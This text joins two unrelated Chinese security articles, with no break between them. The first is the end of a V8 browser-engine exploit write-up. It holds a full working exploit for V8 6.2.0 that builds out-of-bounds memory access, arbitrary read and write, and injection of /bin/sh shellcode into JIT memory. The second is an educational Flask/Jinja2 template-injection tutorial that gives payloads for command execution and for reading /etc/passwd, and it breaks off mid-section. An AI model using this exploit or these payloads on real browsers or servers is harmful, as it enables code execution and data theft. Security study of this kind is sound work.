0x7fff6cfe2fb0: [top + 112] <- 0x1ad49b9ad3a9 ; function 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> (input #0)
0x7fff6cfe2fa8: [top + 104] <- 0x384e6fd82311 ; new_target 0x384e6fd82311 <undefined> (input #0)
0x7fff6cfe2fa0: [top + 96] <- 0x1ad49b9b4801 ; bytecode array 0x1ad49b9b4801 <BytecodeArray[168]> (input #0)
0x7fff6cfe2f98: [top + 88] <- 0xc700000000 ; bytecode offset @ 146
------------------------- 0x7fff6cfe2f90: [top + 80] <- 0x25e92671e4e1 ; 0x25e92671e4e1 <Object map = 0x2c688bf8e0c9> (input #4)
0x7fff6cfe2f88: [top + 72] <- 0x25e92671e531 ; 0x25e92671e531 <JSArray[4]> (input #5)
0x7fff6cfe2f80: [top + 64] <- 0x384e6fd82311 ; 0x384e6fd82311 <undefined> (input #6)
0x7fff6cfe2f78: [top + 56] <- 0x100000000 ; 1 (input #7)
0x7fff6cfe2f70: [top + 48] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #8)
0x7fff6cfe2f68: [top + 40] <- 0x700000000 ; 7 (input #9)
0x7fff6cfe2f60: [top + 32] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #10)
0x7fff6cfe2f58: [top + 24] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #11)
0x7fff6cfe2f50: [top + 16] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #12)
0x7fff6cfe2f48: [top + 8] <- 0x384e6fd825a9 ; 0x384e6fd825a9 <Odd Oddball: optimized_out> (input #13)
0x7fff6cfe2f40: [top + 0] <- 0x25e92671fec1 ; accumulator 0x25e92671fec1 <Number 1.39065e-309> (input #14)
[deoptimizing (eager): end 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> @36 => node=146, pc=0xe6f4b9c2a80, caller sp=0x7fff6cfe2fe0, state=TOS_REGISTER, took 0.296 ms]
[removing optimized code for: 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>]
可以使用65535的对应double值来修复这一问题：
initial_oob_array[o.a] = 1.39064994160909e-309;
函数可以继续被优化，`oob_arry.length`也被覆盖了：
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
0x7ff8000000000000
Smashed oob_array length to: 65535
要创建`addr_of`，需要一个elements数组。
为了找到该数组的偏移量，我们放置要搜索的元素，像是下面的`1337`：
elements_array = [1337,{},{}]
可以使用下面的循环找到偏移量：
function find_offset_smi(val) {
for (i=0; i<5000; i++){
if (oob_array[i] == new Int64(int_to_smi(val)).asDouble()) {
print("Found offset: "+i);
offset = i;
return offset
}
}
}
在`addr_of`函数中使用此偏移量，该函数用来检索任意对象的地址。
function addr_of(obj){
elements_array[0] = obj;
return Int64.fromDouble(oob_array[elements_offset])
}
var test = {hello:"world"}
elements_offset = find_offset_smi(1337);
double_offset = find_offset_double(1.337)
print(addr_of(test))
运行该脚本，可以成功打印出`test`对象的地址，证明`addr_of`函数确实可以工作：
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
Found offset: 36
Found offset: 45
0x00001b590f215e81
为了实现任意读写，我们利用ArrayBuffer并将其`backing store`指向我们想要读写的地址。
arb_rw_arraybuffer = new ArrayBuffer(0x200)
首先我们需要找到该ArrayBuffer的偏移量。其中一种方式是搜索它的size值：
print(find_offset_smi(0x200)) // Found offset: 55
通过查看内存，我们发现ArrayBuffer的`backing store`在`byte length`（即size）之后：
V8 version 6.2.0 (candidate)
d8> var ab = new ArrayBuffer(500)
undefined
d8> %DebugPrint(ab)
DebugPrint: 0x25ed4e20bf69: [JSArrayBuffer]
- map = 0xacfdf683179 [FastProperties]
- prototype = 0x3dcd6128c391
- elements = 0x18e996982241 <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0x55973df4f220
- byte_length = 500
- neuterable
- properties = 0x18e996982241 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
0xacfdf683179: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 80
- inobject properties: 0
- elements kind: HOLEY_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x18e996982311 <undefined>
- instance descriptors (own) #0: 0x18e996982231 <FixedArray[0]>
- layout descriptor: (nil)
- prototype: 0x3dcd6128c391 <Object map = 0xacfdf6831d1>
- constructor: 0x3dcd6128c1c9 <JSFunction ArrayBuffer (sfi = 0x18e9969c5d89)>
- code cache: 0x18e996982241 <FixedArray[0]>
- dependent code: 0x18e996982241 <FixedArray[0]>
- construction counter: 0
[object ArrayBuffer]
d8> ^C
pwndbg> x/8gx 0x25ed4e20bf69-1
0x25ed4e20bf68: 0x00000acfdf683179 <- Map
0x25ed4e20bf70: 0x000018e996982241 <- Properties
0x25ed4e20bf78: 0x000018e996982241 <- Elements
0x25ed4e20bf80: 0x000001f400000000 <- Byte length
0x25ed4e20bf88: 0x000055973df4f220 <- Backing store
...
...
这说明把`byte length`的偏移量加1，我们就可以获得ArrayBuffer的`backing store`的偏移量了。
array_buffer_backing_store_offset = array_buffer_size_offset+1
现在我们可以读写任意地址了：
function read_64(addr) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(arb_rw_arraybuffer);
return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
}
由于存在该漏洞的V8及Chrome版本仍然在使用RWX
JIT页，所以可以直接在RWX页中写入并执行shellcode。该漏洞已经通过在Chrome和V8中引入W^X被修复了，然而仍存在实现任意代码执行的方式，例如RWX
WASM页以及ROP。
GDB的截图证明这个版本的V8存在RWX页：
为了写入shellcode，我们需要创建另一个ArrayBuffer并将shellcode存入其中。同样，可以通过搜索其size值并递增获取偏移量:
shellcode_array_buffer = new ArrayBuffer(0x456)
...
...
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x456)
shellcode_array_buffer_backing_store_offset++
为了实现代码执行，核心思想如下：
* JIT编译一个函数
* 为该函数找到指向RWX JIT页的指针
* 把ArrayBuffer的`backing store`指向RWX内存
* 将shellcode写入ArrayBuffer
* 执行该JIT函数
为了实现JIT编译函数，我们只要多次执行该函数：
function jitme(val) {
return val+1
}
for (i=0; i>100000; i++) {
jitme(1)
}
我们在寻找`- code = 0x17f593884c21 <Code OPTIMIZED_FUNCTION>`
如果我们查看位于JIT函数指针0x38偏移量附近的地址，可以找到接近该值的地址。
这个值是用下面的JavaScript代码计算出来的：
jitted_function_ptr = addr_of(jitme)
print("JIT Function: "+ jitted_function_ptr)
let JIT_ptr = read_64(jitted_function_ptr.add(0x38-1));
我们使用PwnTools生成的一个简单的/bin/sh shellcode：
const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 104, 46, 114, 105, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 69, 68, 59, 32, 47, 98, 105, 110, 80, 72, 184, 101, 99, 104, 111, 32, 80, 87, 78, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);
最后，我们执行这个JIT编译函数，从而实现代码执行并获得shell：
jitme()
➜ accidentalnday ../accidentalnday_release/d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
Found offset: 36
Found offset: 45
Found offset: 55
Found offset: 65
JIT Function: 0x00001294cf5af4a9
JIT PTR: 0x000030b8f5904cc0
$ id
uid=1000(zon8) gid=1000(zon8) groups=1000(zon8),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
$
## 移除CLI标志
目前，这个exploit只能和一系列非默认的CLI标志（如下所示）一起使用，正常安装的Chrome或者V8中并未激活这些标志。因此如果我们想要创建一个稳定的exploit，需要移除这些标志。
./d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
``--allow-natives-syntax`用于`OptimizeOnNextFunctionCall`函数，该函数强制使用Turbofan
JIT优化并编译函数。删除这个标志并不难，通过创建循环来调用上千次函数可以触发JIT来编译这个函数。
修改前：
%OptimizeFunctionOnNextCall(f);
修改后：
for (i=0; i<100000; i++) {
f(1);
}
`--no-turbo-loop-peeling`标志可以阻止循环剥离(loop peeling)或者循环分裂(loop splitting)。
> 循环分裂(loop
> splitting)是一种编译器优化技术。它试图拆分循环，拆分后的多个部分在相同主体内，但在索引范围的不同连续范围内迭代，以此来简化循环或消除依赖关系。
>
> 循环剥离(loop peeling)是循环分裂的一种特殊情况，它从循环中拆分出任何有问题的前/后几次迭代，并在循环体外部执行它们。
>
> ——[Loop Splitting - Wikipedia](https://en.wikipedia.org/wiki/Loop_splitting)
通过添加一些if语句，我们可以成功地避免循环剥离情况。这些if语句不改变exploit的功能性，但要对循环进行一定修改，从而让优化器不再剥离循环中的任何迭代。
修改前：
for (var i = 0; i < 3; ++i) {
if (x % 2 == 0) { o.a = 1;b = false }
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
修改后：
for (var i = 0; i < 3; ++i) {
if (i > 2) {
if (x % 2 == 0) {
o.a = 1;
b = false
}
}
if (i == 0) {
if (x % 2 == 0) {
o.a = 1;
b = false
}
}
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
现在我们只剩下面这些标志了：
./d8 nday.js --turbo-escape --turbo-experimental
标志`--turbo-escape`只是强制转义分析阶段的发生，这个阶段本来就会发生，所以我们可以安全地移除这个标志而不改变exploit的功能性。
最后是`--turbo-experimental`标志。这个标志只影响下面的函数：
void EscapeAnalysis::ProcessCheckMaps(Node* node) {
DCHECK_EQ(node->opcode(), IrOpcode::kCheckMaps);
ForwardVirtualState(node);
Node* checked = ResolveReplacement(NodeProperties::GetValueInput(node, 0));
if (FLAG_turbo_experimental) {
VirtualState* state = virtual_states_[node->id()];
if (VirtualObject* object = GetVirtualObject(state, checked)) {
if (!object->IsTracked()) {
if (status_analysis_->SetEscaped(node)) {
TRACE(
"Setting #%d (%s) to escaped because checked object #%i is not "
"tracked\n",
node->id(), node->op()->mnemonic(), object->id());
}
return;
}
CheckMapsParameters params = CheckMapsParametersOf(node->op());
Node* value = object->GetField(HeapObject::kMapOffset / kPointerSize);
if (value) {
value = ResolveReplacement(value);
// TODO(tebbi): We want to extend this beyond constant folding with a
// CheckMapsValue operator that takes the load-eliminated map value as
// input.
if (value->opcode() == IrOpcode::kHeapConstant &&
params.maps().contains(ZoneHandleSet<Map>(bit_cast<Handle<Map>>(
OpParameter<Handle<HeapObject>>(value))))) {
TRACE("CheckMaps #%i seems to be redundant (until now).\n",
node->id());
return;
}
}
}
}
if (status_analysis_->SetEscaped(node)) {
TRACE("Setting #%d (%s) to escaped (checking #%i)\n", node->id(),
node->op()->mnemonic(), checked->id());
}
}
正如上面的函数所示，如果启用了`--turbo-experimental`标志，会有一些额外的功能。如果禁用该标志，exploit不再起作用，因此这些额外的功能对exploit非常重要。
或许只是我们这样以为……但是，在使用gdb和printf进行了一些调试后，我确定这个标志之所以对exploit有用，不是因为`if
(FLAG_turbo_experimental) {`语句中的任何功能，而是因为它允许函数提早`return`，并在执行下面的代码之前退出：
if (status_analysis_->SetEscaped(node)) {
TRACE("Setting #%d (%s) to escaped (checking #%i)\n", node->id(),
node->op()->mnemonic(), checked->id());
}
这段代码会破坏exploit，如果我们把它注释掉，不管有没有`--turbo-experimental`标志，exploit都能工作。
这段代码会调用下面的函数：
bool EscapeStatusAnalysis::SetEscaped(Node* node) {
bool changed = !(status_[node->id()] & kEscaped);
status_[node->id()] |= kEscaped | kTracked;
return changed;
}
为了让exploit在没有`--turbo-experimental`标志时也能工作，我们需要找到一种不需要调用checkMaps也能利用漏洞的方式。回头看原始的PoC，我们发现这个[测试用例](https://chromium.googlesource.com/v8/v8.git/+/2f2f9be7727eac23248fd91a776959d51de6b7c6/test/mjsunit/compiler/escape-analysis-phi-type-2.js)并不需要使用`--turbo-experimental`标志，这大概是因为它没有用到会触发checkMaps的`l[0.a]`。通过在V8中添加printf语句检查checkMaps什么时候会被触发，我证实了这一点。在下一篇文章中，我们会研究是否可以在不强制调用checkMaps的情况下利用此漏洞。
至于现在，先看看带有`--turbo-experimental`标志的完整exploit吧，该exploit适用于V8 6.2.0。
load('/home/zon8/accidentalnday/int64.js')
function f(x) {
var o = { a: 0, b: 0 };
var initial_oob_array = [1.1, 2.2, 3.3, 4.4];
oob_array = new Array(20);
oob_array[0] = 5.5
oob_array[1] = 6.6
elements_array = [1337, {}, {}]
double_array = [1.337, 10.5, 10.5]
arb_rw_arraybuffer = new ArrayBuffer(0x200)
shellcode_array_buffer = new ArrayBuffer(0x5421)
var res;
for (var i = 0; i < 3; ++i) {
if (i > 2) {
if (x % 2 == 0) { o.a = 1; }
}
if (i == 0) {
if (x % 2 == 0) { o.a = 1; }
}
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
return res;
}
f(0);
f(1);
f(0);
f(1);
var oob_array = [];
var elements_array;
var double_array;
var arb_rw_arraybuffer;
var shellcode_array_buffer;
for (i = 0; i < 100000; i++) {
f(1);
}
res = Int64.from_double(f(7));
elements_offset = -1;
function find_offset_smi(val) {
for (i = 0; i < 5000; i++) {
if (oob_array[i] == new Int64(val).V8_to_SMI().to_double()) {
// print("Found offset: " + i);
offset = i;
return offset
}
}
}
function find_offset_double(val) {
for (i = 0; i < 5000; i++) {
if (oob_array[i] == val) {
// print("Found offset: " + i);
offset = i;
return offset
}
}
}
function addr_of(obj) {
elements_array[0] = obj;
return Int64.from_double(oob_array[elements_offset])
}
function read_64(addr) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(arb_rw_arraybuffer);
return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
let accessor = new Uint32Array(arb_rw_arraybuffer);
accessor[0] = value.low;
accessor[1] = value.high;
}
var test = { hello: "world" }
elements_offset = find_offset_smi(1337);
double_offset = find_offset_double(1.337)
testaddress = addr_of(test)
// print(testaddress);
array_buffer_backing_store_offset = find_offset_smi(0x200)
array_buffer_backing_store_offset++
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x5421)
shellcode_array_buffer_backing_store_offset = shellcode_array_buffer_backing_store_offset + 1
// print(">> Found shellcode array buffer offset: " + shellcode_array_buffer_backing_store_offset)
function jitme(val) {
return val + 1
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
for (i = 0; i > 100000; i++) {
jitme(1)
}
jitme(1)
const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 104, 46, 114, 105, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 69, 68, 59, 32, 47, 98, 105, 110, 80, 72, 184, 101, 99, 104, 111, 32, 80, 87, 78, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
jitted_function_ptr = addr_of(jitme)
// print("JIT Function: " + jitted_function_ptr)
let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));
// print("JIT PTR: " + JIT_ptr)
// print(JIT_ptr.to_double())
// print(new Int64(JIT_ptr).to_double())
// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
shell_code_writer.set(SHELLCODE);
res = jitme() | 社区文章 |
# 初探 Python Flask+Jinja2 SSTI
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## SSTI简介
SSTI主要是因为某些语言的框架中使用了渲染函数，比如Python中的Flask框架用jinjia2模块内的渲染函数，在不规范的代码中，导致用户可以控制变量并构造恶意的表达式，比如`{{98-2}}`，恶意的表达式未经严格的过滤直接带入模板中渲染执行使得攻击者可以读取文件，远程代码执行等等。现在最多的还是在CTF中遇到该漏洞，最多的也是Python+flask+jinja2，通过绕过过滤规则成功命令执行+读取文件拿到flag，本文也会从0开始一点点剖析该漏洞的成因与利用。
## Flask
### Flask简介
**Flask** 是一个用Python编写的 **Web应用程序框架**
优点是提供给用户的扩展能力很强，框架只完成了简单的功能，有很大一部分功能可以让用户自己选择并实现。
**WSGI**
**Web Server Gateway Interface（Web服务器网关接口，WSGI）** 已被用作Python Web应用程序开发的标准。
WSGI是Web服务器和Web应用程序之间通用接口的规范。而Flask类的实例就是WSGI应用程序。
**Werkzeug**
它是一个WSGI工具包，它实现了请求，响应对象和实用函数。 这使得能够在其上构建web框架。
Flask框架使用Werkzeug作为其基础之一。也就是Flask的URL规则也是基于此。
### Flask安装
pip3 install flask # 获取最新版本flask
### 创建Flask项目
可以根据下图创建一个基于python3的flask项目
### Flask e.g.
样例代码：
`app = Flask(__name__)`
：Flask类必须指定一个参数，即主模块或包的名字。这里`__name__`为系统变量，指的是当前py文件的文件名。
`[@app](https://github.com/app "@app").route()`：
路由与视图函数。从client发送的url通过web服务器传给flask实例对象时，因为该实例需要知道对于每个url要对应执行哪部分的函数所以保存了一个url和函数之间的映射关系，处理url和函数之间关系的程序称为路由，在flask中用的是app.route路由装饰器，把装饰的函数注册为路由。简单理解就是`[@app](https://github.com/app
"@app").route(url)`装饰器告诉Flask什么url触发什么函数，而通过装饰器将函数与url绑定在一起就称为路由。
`app.run()`：样例为 `run_simple(host, port, self, **options)`
当不设置时，默认监听127.0.0.1:5000,
监听0.0.0.0的话则任意IP都可访问。该函数作用为开启flask集成的web服务，服务开启后会一直监听5000端口并处理请求知道程序停止。
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'hello Zh1z3ven'
if __name__ == '__main__':
app.run()
运行一下当前的py文件，控制台出现如下图所示的日志，flask默认监听在5000端口，访问一下看看。
### Flask中的路由
上面我们也提到了，简单理解就是`[@app](https://github.com/app
"@app").route(url)`装饰器告诉Flask什么url触发什么函数，而通过装饰器将函数与url绑定在一起就称为路由。
这里看一下路由的几个基本操作
**0x01 指定访问路径为/**
@app.route('/')
def index():
return 'hello Zh1z3ven'
**0x02 传递参数**
这里可以实现url的动态获取并在页面输出username
@app.route('/user/<username>')
def hi_user(username):
return 'hi %s' % username
**0x03 限定请求方式**
在`[@app](https://github.com/app
"@app").route`中，可以通过如下设置：`[@app](https://github.com/app
"@app").route('/user/<int:user_id>', methods=['GET', 'POST'])`
设置参数`user_id`的数据类型，以及http请求方式。
@app.route('/user/<int:user_id>', methods=['GET', 'POST'])
def hi_userid(user_id):
return 'hello %d' % user_id
### main入口
在Flask官方文档也提到最好用 `if __name__ == '__main__'` 来作为程序入口 python中的main入口也就是 `if
__name__ == '__main__'`
当运行py文件时因为 当前 **文件名** (`__name__`)与 **顶层代码作用域**
(`__main__`)是相等的，所以会执行后面的代码块，而当该文件作为一个模块被import到别的文件时，此时并不会执行该文件，而是类似于php中include函数那样将该文件包含到其他文件中去。
到此Flask的工作流程
大致就已经清晰了，首先是当程序运行时，app.run()被调用执行并监听相应的host和port（默认为127.0.0.1:5000），当客户端有http请求通过浏览器发送至服务器端时时，服务端会根据request中的url对照路由找到相应需要执行的函数，并将函数返回值生成response反馈给客户端。
## Jinja2渲染模板
### 简介
jinja2是Python的一个流行的模板引擎。Web模板系统将模板与特定数据源组合以呈现动态网页。
### 基本语法
0x01 `{%%}`
主要用来声明变量或用在条件语句或循环语句
注意条件和循环需要多一层 {%endif%} 或 {%endfor%}用作结尾
{% set c = 'Zh1z3ven' %}
{% if 1==1 %}Zh1z3ven{%endif%}
{% for i in [1, 2, 3] %}Zh1z3ven{%endfor%}
0x02 `{{}}`
将大括号内的表达式执行并输出结果到模板内
{{98-2}} # 96
0x03 `{##}`
注释
### 存在漏洞的Demo
在jinja2中存在一个模板类`Tempalte`，`Template`类中的`render()`方法可以实现渲染的作用。而在jinja2中存在三种语法，针对CTF的话遇到的就是`{{}}`和`{%%}`，`{{}}`代表变量取值，是一种特殊的占位符，当我们传入的是一个表达式或方法，则会执行并返回他们的结果传入客户端，比如看下面这段代码我们执行后构造一个表达式去访问查看页面结果：
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def test1():
name = request.args.get('name')
t = Template('''
<html>
<head>
<title>Zh1z3ven</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>
'''% (name))
return t.render()
if __name__ == '__main__':
app.run()
这里可以看到是存在SSTI注入的，因为在`{{98-2}}`中的表达式被执行了，也就是漏洞成因：当在不规范的代码中，直接将用户可控参数`name`在模板中直接渲染并将结果带回页面回显。所以在name参数输入`{{98-2}}`会输出`{{96}}`
### 不存在漏洞的Demo
而在flask中常用的渲染方法为`render_template()` 、 `render_template_string()`
当使用 `render_template()` 时，扩展名为 `.html` 、 `.htm` 、 `.xml` 和 `.xhtml`
的模板中开启自动转义。
当使用 `render_template_string()` 时，字符串开启 自动转义。
简单示例如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>{{title}} - Zh1z3ven</title>
</head>
<body>
<h1>Hello, {{user.name}}</h1>
<h2>This is {{user.name}} information:{{user.info}}</h2>
</body>
</html>
其中`{{title}}`、`{{user.name}}`、`{{user.info}}`即为需要渲染的对象，我们在app.py里对其进行渲染。
from flask import Flask
from flask import render_template
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
user = {
'name' : 'Zh1z3ven',
'info' : 'I am Zh1z3ven'
}
return render_template("index.html", title='Home', user=user)
if __name__ == '__main__':
app.run()
运行app.py 下面我们看一下页面结果：
上面就是一个简单且正常通过渲染的页面，因为需要渲染的参数我们都在app.py中写死了，并未交给用户控制，所以不存在SSTI注入。但是CTF或开发人员写好的代码将渲染的参数交给用户可控，并且没有对参数进行过滤那么可能会导致SSTI注入漏洞的产生。
通过两个例子也可以大致感受到漏洞的成因了
1、存在用户可控参数。
2、参数可被带入渲染函数内直接执行，即{{}}可被带入代码中让jinja2模块识别并解析。
## SSTI思路
在CTF中，python的ssti大多是依靠某些继承链：基类—>子类—>危险方法来实现命令执行+文件读取，这里有点类似于java的反序列化漏洞寻找调用链的意思。其实主要还是依据python中的内置类属性和方法通过寻找可以读文件或执行命令的模块与函数达到我们的目的。
### 内置类属性和方法
Python中的类和对象有许多内置属性以及相关函数，下面记录一些经常会用到的，可能会不全，遇到了再补充。
**0x01`__class__`**
python中一切皆对象，该方法返回当前对象所属的类，比如字符串对象则返回`<class 'str'>`
>>> "".__class__
<class 'str'>
**0x02`__bases__`**
以元组的形式返回一个类所直接集成的类。大多是用来获取到基类(object)，比如：
>>> "".__class__.__bases__
(<class 'object'>,)
**0x03`__base__`**
以字符串形式返回一个类所直接集成的类
**0x04`__mro__`**
返回解析方法调用的顺序。
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
**0x05`__subclasses__()`**
获取类的所有子类，经常配合`__bases__` `__mro__`来找到我们想要的读取文件或执行命令的类
比如：`"".__class__.__bases__[0].__subclasses__()`
或者：`"".__class__.__mro__[1].__subclasses__()`
**0x06`__init__`**
所有的可被当作模块导入的都包含 `__init__`方法，通过此方法来调用 `__globals__`方法
**0x07`__globals__`**
所有函数都会有一个 `__globals__` 属性， 用于获取当前空间下可使用的模块、方法及其所有变量，结果是一个字典。
>>> import os
>>> var = 2333
>>> def fun():
pass
>>> class test:
def __init__(self):
pass
>>> print(test.__init__.__globals__)
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'os': <module 'os' from 'C:\\Python3.7\\lib\\os.py'>, 'var': 2333, 'fun': <function fun at 0x00000238058C11F8>, 'test': <class '__main__.test'>}
**0x08`__builtins__`**
**在pyton2中为`__builtins__` 和 `__builtin__`**
这里 `__builtins__`
是内建名称空间，是这个模块本身定义的一个名称空间，在这个内建名称空间中存在一些我们经常用到的内置函数（即不需要导入包即可调用的函数）如：print()、str()还包括一些异常和其他属性。
而 `__builtins__` 实际上是一个指向或者说引用 `__builtin__` 的（有点类似于软链接），而真正BIF在被定义时是在
`__builtin__` 模块中进行的。
**在python3中为`__builtins__` 和 `builtins`**
这里只不过 `builtins` 代替的 `__builtin__`
在python中有一些BIF（内置函数）是可以直接调用的，比如str(), print()等，这些函数可以通过 `dir(__builtins__)`
可以查到。
**0x09 内省request对象**
即为Flask模板的一个全局变量request对象（flask.request），代表当前请求对象。
当然可利用的远不止这些，上面只是做一点简单的总结，后续遇到有趣的姿势继续补充（填坑）。
### 利用思路
1、随便找一个内置类对象利用 `__class__`拿到该对象所对应的类
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
().__class__.__mro__[-1].__subclasses__()
request.__class__.__mro__[1]
2、用 `__bases__` 或 `__mro__` 拿到基类 `<class 'object'>`
3、用 `__subclasses__()` 获取所有子类
4、在子类中寻找可以合适的继承链执行命令或读取文件
## STTI利用
### 测试代码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def test1():
name = request.args.get('name')
t = Template('''
<html>
<head>
<title>Zh1z3ven</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>
'''% (name))
return t.render()
if __name__ == '__main__':
app.run(host='127.0.0.1', debug=True)
### 0x01 `__bultins__`
**python2 &python3均适用**
比如我们打开一个python3的shell，键入 `"".__class__`
可以看到结果为 `<class 'str'>`
再接着下一步，我们要获取到基类 `object` 键入：`"".__class__.__bases__`
可以看到结果是一个元组，而元组的第一个元素是基类 `object` ，所以要获取基类需要 `.__bases__[0]` ; 我们下面看看基类下的所有子类
，键入： `"".__class__.__bases__[0].__subclasses__()`
这里可以看到有相当多的子类，且不同的Python版本在这里获取到的所有子类的顺序也不同，但是这样还是不太直观毕竟有几百个子类，我们用个小脚本进行筛选看看各个子类所处空间下可调用的模块、方法和变量都有什么也就是
`function.__globals__` 的结果。下面贴个寻找类对应顺序的脚本：
用法大概是这样的，因为大概思路前面前三步基本差不多，主要是后面 `__init__.__globals__`
后面的姿势会很多，也是一个难理解的点。这个脚本就是找从`__init__.__globals__`
后面想要根据那个思路入手取执行命令或读取文件，比如下面我想用 `__builtins__` 去构造执行命令的继承链:
先查询都哪些子类调用了`__builtins__`
find.py
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
这里拿经典的 `<class 'os._wrap_close'> 128` 举例，构造payload如下：
`http://127.0.0.1:5000/?name={{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}`
ps：eval()函数用来执行一个字符串表达式，并返回表达式的值，这里相当于调用了os模块利用popen函数执行whoami
当然利用`__builtins__`还有很多其他姿势，需要注意的就是python2与python3中有些函数不一样需要进行替换
**Python3 payload**
# 0x01 利用eval()将其中字符串作为代码执行
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
# 0x02 直接调用__import__()构造payload执行命令
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
# 0x03 调用open()读取文件
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['open']('C:\\Windows\win.ini').read()}}
**python2 payload**
（1）linecache执行命令
同样是先找到子类中有可直接调用linecache的，
(<class 'warnings.WarningMessage'>, 59)
(<class 'warnings.catch_warnings'>, 60)
payload
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()}}
（2） file类读取文件
file类是只存在python2的，python3没有，但是类似于open
payload
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
### <a name=”0x02 `['popen']("command").read()`” class=”reference-link”>0x02
`['popen']("command").read()`
这里思路是直接找某个子类可以直接调用popen这个方法，这里在本地找到的是 `os._wrap_close` 这个类。
payload
http://127.0.0.1:5000/?name={{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']("whoami").read()}}`
### 0x03 直接调用 `__import__()`
这里思路是找子类中可以直接调用 `__import__()` 然后引用 os 模块去执行命令
先通过find.py找到可以直接调用 `__import__()`的子类
之后通过 `__import__()` 调用os模块去执行命令，payload如下：
